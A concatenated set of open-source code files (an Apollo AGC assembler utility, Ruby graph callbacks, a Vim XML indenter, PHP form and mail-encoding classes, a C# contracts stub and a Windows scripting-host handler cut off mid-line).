Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * yaAGC is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with yaAGC; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n *\n * Filename: Utilities.c\n * Purpose: Useful utility functions for yaYUL.\n * History: 2012-10-04 JL Began.\n * 2016-10-21 RSB Bypass the use of sbfix for blk2.\n * 2016-11-02 RSB Added provision for --trace.\n * 2016-11-03 RSB Added the \"unestablished\" state for superbits.\n * It *still* doesn't work like I expect, but\n * at least it lets me assemble Sunburst 120\n * (and all prior AGC programs).\n * 2017-01-30 MAS Added a function to calculate parity.\n * 2017-06-17 MAS Killed the FixSuperbankBits function and\n * split up printing of SBanks and EBanks.\n */\n\n#include \"yaYUL.h\"\n#include <stdlib.h>\n#include <stdint.h>\n#include <string.h>\n\n//-------------------------------------------------------------------------\n// Print an Address_t.\nvoid\nPrintAddress(const Address_t *address)\n{\n printf(\"|\");\n if (address->Invalid)\n printf(\"I\");\n else\n printf(\" \");\n if (address->Constant)\n printf(\"C\");\n else\n printf(\" \");\n if (address->Address)\n printf(\"A\");\n else\n printf(\" \");\n if (address->Erasable)\n printf(\"E\");\n else if (address->Fixed)\n printf(\"F\");\n else\n printf(\" \");\n if (address->Banked)\n printf(\"B\");\n else\n printf(\" \");\n if (address->Super)\n printf(\"S\");\n else\n printf(\" \");\n if (address->Overflow)\n printf(\"O\");\n else\n printf(\" \");\n printf(\"|SREG=%04o|\", address->SReg);\n if (!address->Invalid)\n {\n if (address->Erasable)\n printf(\"EB=%03o|\", address->EB);\n if (address->Fixed)\n printf(\"FB=%03o|\", address->FB);\n }\n else\n {\n printf(\" |\");\n }\n printf(\"%06o|\", address->Value);\n}\n\n//-------------------------------------------------------------------------\n// Print an EBank_t.\nvoid\nPrintEBank(const EBank_t *bank)\n{\n printf(\"|%d\", bank->oneshotPending);\n PrintAddress(&bank->current);\n PrintAddress(&bank->last);\n}\n\n//-------------------------------------------------------------------------\n// Print an SBank_t.\nvoid\nPrintSBank(const SBank_t *bank)\n{\n printf(\"|%d|%u|%u|\", bank->oneshotPending, bank->current, bank->last);\n}\n\n//-------------------------------------------------------------------------\n// Print a ParseInput_t.\nvoid\nPrintInputRecord(const ParseInput_t *record)\n{\n PrintAddress(&record->ProgramCounter);\n printf(\" \");\n PrintEBank(&record->EBank);\n printf(\" \");\n PrintSBank(&record->SBank);\n}\n\n//-------------------------------------------------------------------------\n// Print a ParseOutput_t.\nvoid\nPrintOutputRecord(const ParseOutput_t *record)\n{\n PrintAddress(&record->ProgramCounter);\n printf(\" \");\n PrintEBank(&record->EBank);\n printf(\" \");\n PrintSBank(&record->SBank);\n}\n\n//-------------------------------------------------------------------------\n// Print a trace record.\nvoid\nPrintTrace(const ParseInput_t *inRecord, const ParseOutput_t *outRecord)\n{\n printf(\n \"--- +--------------PC---------------+ +1S-------------curr-------------EBANK-------------last------------+ +1S-------------curr-------------SBANK-------------last------------+\\n\");\n printf(\"--- in \");\n PrintInputRecord(inRecord);\n printf(\"\\n\");\n printf(\"--- out\");\n PrintOutputRecord(outRecord);\n printf(\"\\n\");\n}\n\n//-------------------------------------------------------------------------\n// Calculat the parity bit for a data word.\nint\nCalculateParity(int Value)\n{\n int p = 1;\n uint16_t n = Value;\n\n while (n)\n {\n n &= (n - 1);\n p = !p;\n }\n\n return p;\n}\n"} {"text": "module ActiveGraph\n module Node\n module DependentCallbacks\n extend ActiveSupport::Concern\n\n def dependent_delete_callback(association, ids)\n association_query_proxy(association.name).where(id: ids).delete_all\n end\n\n def dependent_delete_orphans_callback(association, ids)\n unique_query = as(:self).unique_nodes(association, :self, :n, :other_rel, ids)\n unique_query.query.optional_match('(n)-[r]-()').delete(:n, :r).exec if unique_query\n end\n\n def dependent_destroy_callback(association, ids)\n unique_query = association_query_proxy(association.name).where(id: ids)\n unique_query.each_for_destruction(self, &:destroy) if unique_query\n end\n\n def dependent_destroy_orphans_callback(association, ids)\n unique_query = as(:self).unique_nodes(association, :self, :n, :other_rel, ids)\n unique_query.each_for_destruction(self, &:destroy) if unique_query\n end\n\n def callbacks_from_relationship(relationship, direction, other_node)\n rel = relationship_corresponding_rel(relationship, direction, other_node.class).try(:last)\n public_send(\"dependent_#{rel.dependent}_callback\", rel, [other_node.id]) if rel && rel.dependent\n end\n end\n end\nend"} {"text": "\" Author: Eric Van Dewoestine\n\"\n\" Description: {{{\n\" Xml indent file using IndentAnything.\n\"\n\" License:\n\"\n\" Copyright (C) 2005 - 2012 Eric Van Dewoestine\n\"\n\" This program is free software: you can redistribute it and/or modify\n\" it under the terms of the GNU General Public License as published by\n\" the Free Software Foundation, either version 3 of the License, or\n\" (at your option) any later version.\n\"\n\" This program is distributed in the hope that it will be useful,\n\" but WITHOUT ANY WARRANTY; without even the implied warranty of\n\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n\" GNU General Public License for more details.\n\"\n\" You should have received a copy of the GNU General Public License\n\" along with this program. If not, see <http://www.gnu.org/licenses/>.\n\"\n\" }}}\n\nif &indentexpr =~ 'EclimGetXmlIndent' ||\n \\ (!exists('b:disableOverride') && exists('g:EclimXmlIndentDisabled'))\n finish\nendif\n\nlet b:did_indent = 1\nlet b:disableOverride = 1\nruntime eclim/indent/indentanything.vim\nruntime! indent/dtd.vim\n\nsetlocal indentexpr=EclimGetXmlIndent(v:lnum)\nsetlocal indentkeys=o,O,*<Return>,<>>,<<>,/,{,}\n\n\" EclimGetXmlIndent(lnum) {{{\nfunction! EclimGetXmlIndent(lnum)\n let line = line('.')\n let col = line('.')\n\n let adj = 0\n\n let doctypestart = search('<!DOCTYPE\\>', 'bcW')\n if doctypestart > 0\n let doctypestart = search('\\[', 'cW', doctypestart)\n let doctypeend = search('\\]>', 'cW')\n endif\n call cursor(line, col)\n\n let cdatastart = search('<!\\[CDATA\\[', 'bcW')\n if cdatastart > 0\n let cdatastart = search('\\[', 'cW', cdatastart)\n let cdataend = search('\\]\\]>', 'cW')\n endif\n call cursor(line, col)\n\n \" Inside <DOCTYPE, let dtd indent do the work.\n if doctypestart > 0 && doctypestart < a:lnum &&\n \\ (doctypeend == 0 || (doctypeend > doctypestart && a:lnum <= doctypeend))\n if a:lnum < doctypeend\n call DtdIndentAnythingSettings()\n return EclimGetDtdIndent(a:lnum)\n elseif a:lnum == doctypeend\n return indent(a:lnum) - &sw\n endif\n else\n \" in a <[CDATA[ section\n if cdatastart > 0 && cdatastart < a:lnum &&\n \\ (cdataend == 0 || (cdataend >= cdatastart && a:lnum <= cdataend))\n \" only indent if nested text looks like xml\n if getline(a:lnum) =~ '^\\s*<'\n if a:lnum == cdatastart + 1\n return indent(cdatastart) + &sw\n endif\n else\n return indent(a:lnum)\n endif\n\n \" make sure the closing of the CDATA lines up with the opening.\n if a:lnum == cdataend\n return indent(cdatastart)\n endif\n \" make sure that tag following close of CDATA is properly indented.\n elseif cdatastart > 0 && cdatastart < a:lnum &&\n \\ (cdataend >= cdatastart && prevnonblank(a:lnum - 1) == cdataend)\n return indent(cdatastart) - &sw\n endif\n\n call XmlIndentAnythingSettings()\n let adj = s:XmlIndentAttributeWrap(a:lnum) * &sw\n\n \" handle case where previous line is a multi-line comment (<!-- -->) on one\n \" line.\n let prevline = prevnonblank(a:lnum - 1)\n if getline(prevline) =~ '^\\s\\+<!--.\\{-}-->'\n let adj = indent(prevline)\n endif\n\n \" handle case where comment end is on its own line.\n if getline(line) =~ '^\\s*-->'\n let adj -= &sw\n endif\n endif\n\n return IndentAnything() + adj\nendfunction \" }}}\n\n\" XmlIndentAnythingSettings() {{{\nfunction! XmlIndentAnythingSettings()\n \" Syntax name REs for comments and strings.\n let b:blockCommentRE = 'xmlComment'\n let b:commentRE = b:blockCommentRE\n let b:lineCommentRE = 'xmlComment'\n let b:stringRE = 'xmlString'\n let b:singleQuoteStringRE = b:stringRE\n let b:doubleQuoteStringRE = b:stringRE\n\n setlocal comments=sr:<!--,mb:\\ ,ex0:-->\n let b:blockCommentStartRE = '<!--'\n let b:blockCommentMiddleRE = ''\n let b:blockCommentEndRE = '-->'\n let b:blockCommentMiddleExtra = 2\n\n \" Indent another level for each non-closed element tag.\n let b:indentTrios = [\n \\ [ '<\\w', '', '\\%(/>\\|</\\)' ],\n \\ ]\nendfunction \" }}}\n\n\" XmlIndentAttributeWrap(lnum) {{{\n\" Function which indents line continued attributes an extra level for\n\" readability.\nfunction! <SID>XmlIndentAttributeWrap(lnum)\n let line = line('.')\n let col = col('.')\n let adj = 0\n try\n \" mover cursor to start of line to avoid matching start tag on first line\n \" of nested content.\n call cursor(line, 1)\n let open = search('<\\w\\|<!DOCTYPE', 'bW')\n if open > 0\n let close = search('>', 'cW')\n if open != close\n \" continuation line\n if close == 0 || close >= a:lnum\n \" first continuation line\n if a:lnum == open + 1\n return 1\n endif\n \" additional continuation lines\n return 0\n endif\n\n \" line after last continuation line\n if close == prevnonblank(a:lnum - 1)\n \" inner content\n return -1\n endif\n endif\n endif\n finally\n call cursor(line, col)\n endtry\nendfunction \" }}}\n\n\" vim:ft=vim:fdm=marker\n"} {"text": "<?php\n\nnamespace Zofe\\Rapyd\\DataForm\\Field;\n\nuse Collective\\Html\\FormFacade as Form;\nuse Illuminate\\Support\\Facades\\Schema;\nuse Illuminate\\Support\\Facades\\Input;\n\nclass Iframe extends Field\n{\n public $type = \"iframe\";\n public $src = '';\n public $height = \"200\";\n public $scrolling = \"auto\";\n public $frameborder = \"0\";\n \n \n public function src($src)\n {\n $this->src = $src;\n return $this;\n }\n \n protected function iframe()\n {\n $this->src = $this->parseString($this->src);\n return sprintf(\n '<IFRAME src=\"%s\" width=\"100%%\" height=\"%s\" scrolling=\"%s\" frameborder=\"%s\" id=\"%s\" onLoad=\"iframeAutoResize(\\'%s\\');\">\n iframe not supported\n </IFRAME>', $this->src, $this->height, $this->scrolling, $this->frameborder, $this->name, $this->name);\n \n \n }\n \n \n public function build()\n {\n $output = \"\";\n \n if (parent::build() === false) return;\n\n switch ($this->status) {\n case \"disabled\":\n case \"show\":\n case \"create\":\n case \"modify\":\n $output = $this->iframe();\n \\Rapyd::script(\"\n if(typeof iframeAutoResize != 'function'){\n window.iframeAutoResize = function(id){\n var newheight;\n var newwidth;\n \n if(document.getElementById){\n newheight = document.getElementById(id).contentWindow.document .body.scrollHeight;\n newwidth = document.getElementById(id).contentWindow.document .body.scrollWidth;\n }\n \n document.getElementById(id).height = (newheight) + 'px';\n document.getElementById(id).width = (newwidth) + 'px';\n };\n \n };\n \");\n\n \n break;\n case \"hidden\":\n $output = \"\";\n break;\n\n default:;\n }\n $this->output = \"\\n\".$output.\"\\n\". $this->extra_output.\"\\n\";\n }\n}\n"} {"text": "<?php\n\n/*\n * This file is part of SwiftMailer.\n * (c) 2004-2009 Chris Corbyn\n *\n * For the full copyright and license information, please view the LICENSE\n * file that was distributed with this source code.\n */\n\n/**\n * Handles binary/7/8-bit Transfer Encoding in Swift Mailer.\n *\n * @author Chris Corbyn\n */\nclass Swift_Mime_ContentEncoder_PlainContentEncoder implements Swift_Mime_ContentEncoder\n{\n /**\n * The name of this encoding scheme (probably 7bit or 8bit).\n *\n * @var string\n */\n private $_name;\n\n /**\n * True if canonical transformations should be done.\n *\n * @var bool\n */\n private $_canonical;\n\n /**\n * Creates a new PlainContentEncoder with $name (probably 7bit or 8bit).\n *\n * @param string $name\n * @param bool $canonical If canonicalization transformation should be done.\n */\n public function __construct($name, $canonical = false)\n {\n $this->_name = $name;\n $this->_canonical = $canonical;\n }\n\n /**\n * Encode a given string to produce an encoded string.\n *\n * @param string $string\n * @param int $firstLineOffset ignored\n * @param int $maxLineLength - 0 means no wrapping will occur\n *\n * @return string\n */\n public function encodeString($string, $firstLineOffset = 0, $maxLineLength = 0)\n {\n if ($this->_canonical) {\n $string = $this->_canonicalize($string);\n }\n\n return $this->_safeWordWrap($string, $maxLineLength, \"\\r\\n\");\n }\n\n /**\n * Encode stream $in to stream $out.\n *\n * @param Swift_OutputByteStream $os\n * @param Swift_InputByteStream $is\n * @param int $firstLineOffset ignored\n * @param int $maxLineLength optional, 0 means no wrapping will occur\n */\n public function encodeByteStream(Swift_OutputByteStream $os, Swift_InputByteStream $is, $firstLineOffset = 0, $maxLineLength = 0)\n {\n $leftOver = '';\n while (false !== $bytes = $os->read(8192)) {\n $toencode = $leftOver . $bytes;\n if ($this->_canonical) {\n $toencode = $this->_canonicalize($toencode);\n }\n $wrapped = $this->_safeWordWrap($toencode, $maxLineLength, \"\\r\\n\");\n $lastLinePos = strrpos($wrapped, \"\\r\\n\");\n $leftOver = substr($wrapped, $lastLinePos);\n $wrapped = substr($wrapped, 0, $lastLinePos);\n\n $is->write($wrapped);\n }\n if (strlen($leftOver)) {\n $is->write($leftOver);\n }\n }\n\n /**\n * Get the name of this encoding scheme.\n *\n * @return string\n */\n public function getName()\n {\n return $this->_name;\n }\n\n /**\n * Not used.\n */\n public function charsetChanged($charset)\n {\n }\n\n /**\n * A safer (but weaker) wordwrap for unicode.\n *\n * @param string $string\n * @param int $length\n * @param string $le\n *\n * @return string\n */\n private function _safeWordwrap($string, $length = 75, $le = \"\\r\\n\")\n {\n if (0 >= $length) {\n return $string;\n }\n\n $originalLines = explode($le, $string);\n\n $lines = array();\n $lineCount = 0;\n\n foreach ($originalLines as $originalLine) {\n $lines[] = '';\n $currentLine =& $lines[$lineCount++];\n\n //$chunks = preg_split('/(?<=[\\ \\t,\\.!\\?\\-&\\+\\/])/', $originalLine);\n $chunks = preg_split('/(?<=\\s)/', $originalLine);\n\n foreach ($chunks as $chunk) {\n if (0 != strlen($currentLine)\n && strlen($currentLine . $chunk) > $length)\n {\n $lines[] = '';\n $currentLine =& $lines[$lineCount++];\n }\n $currentLine .= $chunk;\n }\n }\n\n return implode(\"\\r\\n\", $lines);\n }\n\n /**\n * Canonicalize string input (fix CRLF).\n *\n * @param string $string\n *\n * @return string\n */\n private function _canonicalize($string)\n {\n return str_replace(\n array(\"\\r\\n\", \"\\r\", \"\\n\"),\n array(\"\\n\", \"\\n\", \"\\r\\n\"),\n $string\n );\n }\n}\n"} {"text": "// CodeContracts\n// \n// Copyright (c) Microsoft Corporation\n// \n// All rights reserved. \n// \n// MIT License\n// \n// Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n// \n// The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n// \n// THE SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n#if !SILVERLIGHT\n\nusing System;\nusing System.Xml.Schema;\nusing System.Diagnostics.Contracts;\n\nnamespace System.Xml\n{\n // Summary:\n // Represents the document type declaration.\n public class XmlDocumentType //: XmlLinkedNode\n {\n // Summary:\n // Initializes a new instance of the System.Xml.XmlDocumentType class.\n //\n // Parameters:\n // name:\n // The qualified name; see the System.Xml.XmlDocumentType.Name property.\n //\n // publicId:\n // The public identifier; see the System.Xml.XmlDocumentType.PublicId property.\n //\n // systemId:\n // The system identifier; see the System.Xml.XmlDocumentType.SystemId property.\n //\n // internalSubset:\n // The DTD internal subset; see the System.Xml.XmlDocumentType.InternalSubset\n // property.\n //\n // doc:\n // The parent document.\n //protected internal XmlDocumentType(string name, string publicId, string systemId, string internalSubset, XmlDocument doc);\n\n // Summary:\n // Gets the collection of System.Xml.XmlEntity nodes declared in the document\n // type declaration.\n //\n // Returns:\n // An System.Xml.XmlNamedNodeMap containing the XmlEntity nodes. The returned\n // XmlNamedNodeMap is read-only.\n //public XmlNamedNodeMap Entities { get; }\n //\n // Summary:\n // Gets the value of the document type definition (DTD) internal subset on the\n // DOCTYPE declaration.\n //\n // Returns:\n // The DTD internal subset on the DOCTYPE. If there is no DTD internal subset,\n // String.Empty is returned.\n public string InternalSubset\n {\n get\n {\n Contract.Ensures(Contract.Result<string>() != null);\n\n return default(string);\n }\n }\n //\n // Summary:\n // Gets a value indicating whether the node is read-only.\n //\n // Returns:\n // true if the node is read-only; otherwise false. Because DocumentType nodes\n // are read-only, this property always returns true.\n //public override bool IsReadOnly { get; }\n //\n // Summary:\n // Gets the local name of the node.\n //\n // Returns:\n // For DocumentType nodes, this property returns the name of the document type.\n //public override string LocalName { get; }\n //\n // Summary:\n // Gets the qualified name of the node.\n //\n // Returns:\n // For DocumentType nodes, this property returns the name of the document type.\n //public override string Name { get; }\n //\n // Summary:\n // Gets the type of the current node.\n //\n // Returns:\n // For DocumentType nodes, this value is XmlNodeType.DocumentType.\n //public override XmlNodeType NodeType { get; }\n //\n // Summary:\n // Gets the collection of System.Xml.XmlNotation nodes present in the document\n // type declaration.\n //\n // Returns:\n // An System.Xml.XmlNamedNodeMap containing the XmlNotation nodes. The returned\n // XmlNamedNodeMap is read-only.\n public XmlNamedNodeMap Notations \n {\n get\n {\n Contract.Ensures(Contract.Result<XmlNamedNodeMap>() != null);\n\n return default(XmlNamedNodeMap);\n }\n }\n //\n // Summary:\n // Gets the value of the public identifier on the DOCTYPE declaration.\n //\n // Returns:\n // The public identifier on the DOCTYPE. If there is no public identifier, String.Empty\n // is returned.\n public string PublicId \n {\n get\n {\n Contract.Ensures(Contract.Result<string>() != null);\n\n return default(string);\n }\n }\n //\n // Summary:\n // Gets the value of the system identifier on the DOCTYPE declaration.\n //\n // Returns:\n // The system identifier on the DOCTYPE. If there is no system identifier, String.Empty\n // is returned.\n public string SystemId \n {\n get\n {\n Contract.Ensures(Contract.Result<string>() != null);\n\n return default(string);\n }\n }\n\n // Summary:\n // Creates a duplicate of this node.\n //\n // Parameters:\n // deep:\n // true to recursively clone the subtree under the specified node; false to\n // clone only the node itself. For document type nodes, the cloned node always\n // includes the subtree, regardless of the parameter setting.\n //\n // Returns:\n // The cloned node.\n //public override XmlNode CloneNode(bool deep);\n //\n // Summary:\n // Saves all the children of the node to the specified System.Xml.XmlWriter.\n // For XmlDocumentType nodes, this method has no effect.\n //\n // Parameters:\n // w:\n // The XmlWriter to which you want to save.\n //public override void WriteContentTo(XmlWriter w);\n //\n // Summary:\n // Saves the node to the specified System.Xml.XmlWriter.\n //\n // Parameters:\n // w:\n // The XmlWriter to which you want to save.\n //public override void WriteTo(XmlWriter w);\n }\n}\n\n#endif"} {"text": "/*!\t@file\n\t@brief WSH Handler\n\n\t@author 鬼\n\t@date 2002年4月28日\n*/\n/*\n\tCopyright (C) 2002, 鬼, genta\n\tCopyright (C) 2003, FILE\n\tCopyright (C) 2004, genta\n\tCopyright (C) 2005, FILE, zenryaku\n\tCopyright (C) 2009, syat\n\n\tThis software is provided 'as-is', without any express or implied\n\twarranty. In no event will the authors be held liable for any damages\n\tarising from the use of this software.\n\n\tPermission is granted to anyone to use this software for any purpose,\n\tincluding commercial applications, and to alter it and redistribute it\n\tfreely, subject to the following restrictions:\n\n\t\t1. The origin of this software must not be misrepresented;\n\t\t you must not claim that you wrote the original software.\n\t\t If you use this software in a product, an acknowledgment\n\t\t in the product documentation would be appreciated but is\n\t\t not required.\n\n\t\t2. Altered source versions must be plainly marked as such,\n\t\t and must not be misrepresented as being the original software.\n\n\t\t3. This notice may not be removed or altered from any source\n\t\t distribution.\n*/\n\n#include \"StdAfx.h\"\n#include <process.h> // _beginthreadex\n#ifdef __MINGW32__\n#define INITGUID 1\n#endif\n#include <ObjBase.h>\n#include <InitGuid.h>\n#include <ShlDisp.h>\n#include \"macro/CWSH.h\"\n#include \"macro/CIfObj.h\"\n#include \"window/CEditWnd.h\"\n#include \"util/os.h\"\n#include \"util/module.h\"\n#include \"util/window.h\"\t// BlockingHook\n#include \"dlg/CDlgCancel.h\"\n#include \"sakura_rc.h\"\n\n#ifdef USE_JSCRIPT9\nconst GUID CLSID_JSScript9 =\n{\n\t0x16d51579, 0xa30b, 0x4c8b, { 0xa2, 0x76, 0x0f, 0xf4, 0xdc, 0x41, 0xe7, 0x55 } \n};\n#endif\n\n/* 2009.10.29 syat インタフェースオブジェクト部分をCWSHIfObj.hに分離\nclass CInterfaceObjectTypeInfo: public ImplementsIUnknown<ITypeInfo>\n */\n\n//IActiveScriptSite, IActiveScriptSiteWindow\n/*!\n\t@date Sep. 15, 2005 FILE IActiveScriptSiteWindow実装.\n\t\tマクロでMsgBoxを使用可能にする.\n*/\nclass CWSHSite: public IActiveScriptSite, public IActiveScriptSiteWindow\n{\nprivate:\n\tCWSHClient *m_Client;\n\tITypeInfo *m_TypeInfo;\n\tULONG m_RefCount;\npublic:\n\tCWSHSite(CWSHClient *AClient): m_Client(AClient), m_RefCount(0)\n\t{\n\t}\n\n\tvirtual ULONG STDMETHODCALLTYPE AddRef() {\n\t\treturn ++m_RefCount;\n\t}\n\n\tvirtual ULONG STDMETHODCALLTYPE Release() {\n\t\tif(--m_RefCount == 0)\n\t\t{\n\t\t\tdelete this;\n\t\t\treturn 0;\n\t\t}\n\t\treturn m_RefCount;\n\t}\n\n\tvirtual HRESULT STDMETHODCALLTYPE QueryInterface(\n\t /* [in] */ REFIID iid,\n\t /* [out] */ void ** ppvObject)\n\t{\n\t\t*ppvObject = NULL;\n\n\t\tif(iid == IID_IActiveScriptSiteWindow){\n\t\t\t*ppvObject = static_cast<IActiveScriptSiteWindow*>(this);\n\t\t\t++m_RefCount;\n\t\t\treturn S_OK;\n\t\t}\n\n\t\treturn E_NOTIMPL;\n\t}\n\n\tvirtual HRESULT STDMETHODCALLTYPE GetLCID( \n\t /* [out] */ LCID *plcid) \n\t{ \n#ifdef TEST\n\t\tcout << \"GetLCID\" << endl;\n#endif\n\t\treturn E_NOTIMPL; //システムデフォルトを使用\n\t}\n\n\tvirtual HRESULT STDMETHODCALLTYPE GetItemInfo( \n\t /* [in] */ LPCOLESTR pstrName,\n\t /* [in] */ DWORD dwReturnMask,\n\t /* [out] */ IUnknown **ppiunkItem,\n\t /* [out] */ ITypeInfo **ppti) \n\t{\n#ifdef TEST\n\t\twcout << L\"GetItemInfo:\" << pstrName << endl;\n#endif\n\t\t//指定された名前のインタフェースオブジェクトを検索\n\t\tconst CWSHClient::List& objects = m_Client->GetInterfaceObjects();\n\t\tfor( CWSHClient::ListIter it = objects.begin(); it != objects.end(); it++ )\n\t\t{\n\t\t\t//\tNov. 10, 2003 FILE Win9Xでは、[lstrcmpiW]が無効のため、[_wcsicmp]に修正\n\t\t\tif( _wcsicmp( pstrName, (*it)->m_sName.c_str() ) == 0 )\n\t\t\t{\n\t\t\t\tif(dwReturnMask & SCRIPTINFO_IUNKNOWN)\n\t\t\t\t{\n\t\t\t\t\t(*ppiunkItem) = *it;\n\t\t\t\t\t(*ppiunkItem)->AddRef();\n\t\t\t\t}\n\t\t\t\tif(dwReturnMask & SCRIPTINFO_ITYPEINFO)\n\t\t\t\t{\n\t\t\t\t\t(*it)->GetTypeInfo(0, 0, ppti);\n\t\t\t\t}\n\t\t\t\treturn S_OK;\n\t\t\t}\n\t\t}\n\t\treturn TYPE_E_ELEMENTNOTFOUND;\n\t}\n\n\tvirtual HRESULT STDMETHODCALLTYPE GetDocVersionString( \n\t /* [out] */ BSTR *pbstrVersion) \n\t{ \n#ifdef TEST\n\t\tcout << \"GetDocVersionString\" << endl;\n#endif\n\t\treturn E_NOTIMPL; \n\t}\n\n\tvirtual HRESULT STDMETHODCALLTYPE OnScriptTerminate( \n\t /* [in] */ const VARIANT *pvarResult,\n\t /* [in] */ const EXCEPINFO *pexcepinfo) \n\t{ \n#ifdef TEST\n\t\tcout << \"OnScriptTerminate\" << endl;\n#endif\n\t\treturn S_OK; \n\t}\n\n\tvirtual HRESULT STDMETHODCALLTYPE OnStateChange( \n\t /* [in] */ SCRIPTSTATE ssScriptState) \n\t{ \n#ifdef TEST\n\t\tcout << \"OnStateChange\" << endl;\n#endif\n\t\treturn S_OK; \n\t}\n\n\t//\tNov. 3, 2002 鬼\n\t//\tエラー行番号表示対応\n\tvirtual HRESULT STDMETHODCALLTYPE OnScriptError(\n\t /* [in] */ IActiveScriptError *pscripterror)\n\t{ \n\t\tEXCEPINFO Info;\n\t\tif(pscripterror->GetExceptionInfo(&Info) == S_OK)\n\t\t{\n\t\t\tDWORD Context;\n\t\t\tULONG Line;\n\t\t\tLONG Pos;\n\t\t\tif(Info.bstrDescription == NULL) {\n\t\t\t\tInfo.bstrDescription = SysAllocString(LS(STR_ERR_CWSH09));\n\t\t\t}\n\t\t\tif(pscripterror->GetSourcePosition(&Context, &Line, &Pos) == S_OK)\n\t\t\t{\n\t\t\t\twchar_t *Message = new wchar_t[SysStringLen(Info.bstrDescription) + 128];\n\t\t\t\t//\tNov. 10, 2003 FILE Win9Xでは、[wsprintfW]が無効のため、[auto_sprintf]に修正\n\t\t\t\tconst wchar_t* szDesc=Info.bstrDescription;\n\t\t\t\tauto_sprintf(Message, L\"[Line %d] %ls\", Line + 1, szDesc);\n\t\t\t\tSysReAllocString(&Info.bstrDescription, Message);\n\t\t\t\tdelete[] Message;\n\t\t\t}\n\t\t\tm_Client->Error(Info.bstrDescription, Info.bstrSource);\n\t\t\tSysFreeString(Info.bstrSource);\n\t\t\tSysFreeString(Info.bstrDescription);\n\t\t\tSysFreeString(Info.bstrHelpFile);\n\t\t}\n\t\treturn S_OK;\n\t}\n\n\tvirtual HRESULT STDMETHODCALLTYPE OnEnterScript() {\n#ifdef TEST\n\t\tcout << \"OnEnterScript\" << endl;\n#endif\n\t\treturn S_OK; \n\t}\n\n\tvirtual HRESULT STDMETHODCALLTYPE OnLeaveScript() {\n#ifdef TEST\n\t\tcout << \"OnLeaveScript\" << endl;\n#endif\n\t\treturn S_OK; \n\t}\n\n\t//\tSep. 15, 2005 FILE IActiveScriptSiteWindow実装\n\tvirtual HRESULT STDMETHODCALLTYPE GetWindow(\n\t /* [out] */ HWND *phwnd)\n\t{\n\t\t*phwnd = CEditWnd::getInstance()->m_cSplitterWnd.GetHwnd();\n\t\treturn S_OK;\n\t}\n\n\t//\tSep. 15, 2005 FILE IActiveScriptSiteWindow実装\n\tvirtual HRESULT STDMETHODCALLTYPE EnableModeless(\n\t /* [in] */ BOOL fEnable)\n\t{\n\t\treturn S_OK;\n\t}\n};\n\n//implementation\n\nCWSHClient::CWSHClient(const wchar_t *AEngine, ScriptErrorHandler AErrorHandler, void *AData): \n\t\t\t\tm_OnError(AErrorHandler), m_Data(AData), m_Valid(false), m_Engine(NULL)\n{ \n\t// 2010.08.28 DLL インジェクション対策としてEXEのフォルダに移動する\n\tCCurrentDirectoryBackupPoint dirBack;\n\tChangeCurrentDirectoryToExeDir();\n\t\n\tCLSID ClassID;\n\tif(CLSIDFromProgID(AEngine, &ClassID) != S_OK)\n\t\tError(LS(STR_ERR_CWSH01));\n\telse\n\t{\n#ifdef USE_JSCRIPT9\n\t\tif( 0 == wcscmp( AEngine, LTEXT(\"JScript\") ) ){\n\t\t\tClassID = CLSID_JSScript9;\n\t\t}\n#endif\n\t\tif(CoCreateInstance(ClassID, 0, CLSCTX_INPROC_SERVER, IID_IActiveScript, reinterpret_cast<void **>(&m_Engine)) != S_OK)\n\t\t\tError(LS(STR_ERR_CWSH02));\n\t\telse\n\t\t{\n\t\t\tIActiveScriptSite *Site = new CWSHSite(this);\n\t\t\tif(m_Engine->SetScriptSite(Site) != S_OK)\n\t\t\t{\n\t\t\t\tdelete Site;\n\t\t\t\tError(LS(STR_ERR_CWSH03));\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tm_Valid = true;\n\t\t\t}\n\t\t}\n\t}\n}\n\nCWSHClient::~CWSHClient()\n{\n\t//インタフェースオブジェクトを解放\n\tfor( ListIter it = m_IfObjArr.begin(); it != m_IfObjArr.end(); it++ ){\n\t\t(*it)->Release();\n\t}\n\t\n\tif(m_Engine != NULL) \n\t\tm_Engine->Release();\n}\n\n// AbortMacroProcのパラメータ構造体\ntypedef struct {\n\tHANDLE hEvent;\n\tIActiveScript *pEngine;\t\t\t\t//ActiveScript\n\tint nCancelTimer;\n\tCEditView *view;\n} SAbortMacroParam;\n\n// WSHマクロ実行を中止するスレッド\nstatic unsigned __stdcall AbortMacroProc( LPVOID lpParameter )\n{\n\tSAbortMacroParam* pParam = (SAbortMacroParam*) lpParameter;\n\n\t//停止ダイアログ表示前に数秒待つ\n\tif(::WaitForSingleObject(pParam->hEvent, pParam->nCancelTimer * 1000) == WAIT_TIMEOUT){\n\t\t//停止ダイアログ表示\n\t\tDEBUG_TRACE(L\"AbortMacro: Show Dialog\\n\");\n\n\t\tMSG msg;\n\t\tCDlgCancel cDlgCancel;\n\t\tHWND hwndDlg = cDlgCancel.DoModeless(G_AppInstance(), NULL, IDD_MACRORUNNING);\t// エディタビジーでも表示できるよう、親を指定しない\n\t\t// ダイアログタイトルとファイル名を設定\n\t\t::SendMessage(hwndDlg, WM_SETTEXT, 0, 